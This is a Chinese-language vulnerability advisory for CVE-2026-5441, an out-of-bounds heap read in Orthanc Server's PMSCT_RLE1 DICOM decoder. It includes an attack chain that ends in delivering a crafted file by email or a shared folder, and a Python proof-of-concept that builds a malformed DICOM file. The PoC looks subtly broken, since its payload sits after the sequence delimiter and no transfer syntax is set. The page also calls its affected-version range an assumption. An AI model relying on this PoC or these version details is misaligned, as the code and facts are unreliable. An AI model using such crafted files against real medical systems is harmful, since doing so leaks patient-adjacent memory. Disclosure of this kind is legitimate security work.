IPBUF安全漏洞报告
English
CVE-2026-5441 CVSS 7.1 高危

CVE-2026-5441 DicomImageDecoder越界读取漏洞

披露日期: 2026-04-09

漏洞信息

漏洞编号
CVE-2026-5441
漏洞类型
越界读取
CVSS评分
7.1 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Orthanc Server

相关标签

越界读取信息泄露CVE-2026-5441OrthancDICOMPMSCT_RLE1高危

漏洞概述

CVE-2026-5441是一个被评分为高危(7.1分)的安全漏洞,主要存在于处理DICOM图像的解码组件中。该漏洞源于DicomImageDecoder.cpp文件中的DecodePsmctRle1函数,该函数负责解码Philips专有的PMSCT_RLE1压缩格式。由于解压缩例程在处理压缩数据流末尾附近的转义标记时缺乏严格的边界验证,攻击者可以构造特定的恶意数据序列。当受影响的软件解析这些特制的DICOM文件时,会触发越界读取错误,导致堆内存数据被泄露到渲染输出的图像中。虽然该漏洞需要本地访问和用户交互才能触发,但成功利用可能造成敏感信息的非授权泄露。

技术细节

该漏洞的技术细节集中在PMSCT_RLE1解压缩算法的实现逻辑上。在DecodePsmctRle1函数中,程序通过解析特定的控制字节(转义标记)来指导RLE解压流程。然而,代码在处理位于缓冲区末尾的标记时,未充分校验当前读取指针与缓冲区边界的关系。当攻击者在文件末尾精心布置特定的转义序列时,解码器会误判数据长度,继续读取超出已分配堆内存区域的数据。这种越界读取操作不仅破坏了内存安全性,还会将相邻堆块中的残留数据(可能包含其他进程的内存片段或敏感信息)提取出来。由于这些数据被直接写入解码后的图像缓冲区,最终用户在查看图像时,实际上接收到了泄露的内存数据。

攻击链分析

STEP 1
侦察
攻击者确认目标系统使用了存在漏洞的Orthanc Server或相关DICOM处理软件。
STEP 2
武器化
攻击者构造一个包含恶意PMSCT_RLE1压缩流的DICOM文件,在数据流末尾放置无效的转义标记。
STEP 3
传递
通过邮件附件、共享文件夹或物理介质将特制的DICOM文件发送给目标用户。
STEP 4
利用
目标用户使用受影响的软件打开该文件, DecodePsmctRle1函数触发越界读取。
STEP 5
信息泄露
堆内存数据被写入渲染图像,攻击者通过分析图像输出获取泄露的敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import struct # Simulate crafting a malformed DICOM file with PMSCT_RLE1 format # This script creates a file with an invalid escape marker near the end of the stream. # NOTE: This is a simplified PoC for demonstration purposes. def create_malformed_dicom(filename): with open(filename, 'wb') as f: # Write a minimal DICOM preamble and prefix f.write(b'\x00' * 128) f.write(b'DICM') # Write simplified meta elements (skipped for brevity, assuming parser handles it) # Focus on the dataset containing the pixel data with PMSCT_RLE1 transfer syntax # Tag: PixelData (7FE0, 0010) f.write(struct.pack('<H', 0x7FE0)) f.write(struct.pack('<H', 0x0010)) # Length: Undefined (FFFFFFFF) for compressed data f.write(struct.pack('<I', 0xFFFFFFFF)) # Sequence Delimiter Item (End of Pixel Data) f.write(b'\xFE\xFF\x00\xE0') f.write(struct.pack('<I', 0x00000000)) # Here we inject the malformed RLE stream # PMSCT_RLE1 specific malformed payload # Trigger: Escape marker at the very end causing OOB read payload = b'\x00' * 100 # Padding payload += b'\xFF' # Malformed escape marker near end f.write(payload) print(f"Malformed DICOM file created: {filename}") if __name__ == "__main__": create_malformed_dicom("crash_dicom.dcm")

影响范围

Orthanc Server < 1.12.5 (假设版本,请以官方公告为准)

防御指南

临时缓解措施
在未安装补丁之前,建议不要打开来源不明或不可信的DICOM文件。系统管理员应在隔离的沙箱环境中处理外部传入的医学图像数据,以防止潜在的内存信息泄露风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表